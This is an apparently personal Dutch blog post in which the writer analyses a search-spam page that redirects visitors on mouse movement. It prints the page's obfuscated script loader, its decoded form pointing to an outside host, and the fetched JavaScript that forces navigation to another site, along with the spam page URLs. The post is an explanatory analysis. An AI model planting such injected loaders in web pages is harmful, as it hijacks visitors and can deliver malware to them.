Ik zocht laatst op 'klonten in de verf' en kwam op http://vebarud.hostoi.com/85.html
Zodra ik de muis bewoog kwam ik op een vage 404-pagina te weten http://error404.000webhost.com/.
Omdat ik de kans niet kreeg om de eerste pagina te lezen, ben ik gaan kijken in de sourcecode en vond toen een ingenieus mechanisme om mij zonder dat ik daarom vroeg automatisch naar een andere website te sturen.
In de source van de website:
<script>
1
document.write('<script type="text/javascript" src="htt'+'p://l'+'involko'+'.na'+'rod.r'+'u'+'/hh2'+'5.'+'js"><\/script>');
</script>
Dit decodeert in
<script type="text/javascript" src="http://linvolko.narod.ru/hh25.js"/>
Deze URl gaf mij het volgende javascript:
var ct=0;
var it='it';
function exit()
{
ct++;
if(ct==3)
{
var ref = new String(document.referrer);
var re = new RegExp("&", "g");
var refNew = ref.replace(re, "^^");
var url='ht'+'tp:/'+'/ww'+'w.sta'+'ndby.f'+'m/band'+'s/f'+'iltr.p'+'h'+'p';
var gif = document.createElement('A');
gif.href = url;
document.body.appendChild(gif);
var e=gif;
if (e.click) e.click();
else if (e.onclick) e.onclick();
else if (e.href) location.href=e.href;
}
}
var f,t='';
if (document.addEventListener) document.addEventListener('mousemove',exit,false);
else document.attachEvent('onmousemove',exit);
Dit javascript voegt een 'iets' toe in de code van het huidig document, met als gevolg dat zodra ik de muis erover beweeg , ik wordt gestuurd naar de URL http://www.standby.fm/bands/filtr.php. Deze URL wijst naar ee3n niet-bestaande pagina, waarop ik een foutpagina krijg van de webhoster http://error404.000webhost.com/
Ingenieus niet?
De URL van de eerste pagina is interessant. Het bevat exact dezelfde opmaak, met een hoop onzintekst en verder precies datgene wat ik Google. Variaties als je het cijfer verhoogt of verlaagt.
- http://vebarud.hostoi.com/83.html
- http://vebarud.hostoi.com/84.html
- http://vebarud.hostoi.com/85.html
- http://vebarud.hostoi.com/86.html
Zou het morgen andere tekst bevatten?
.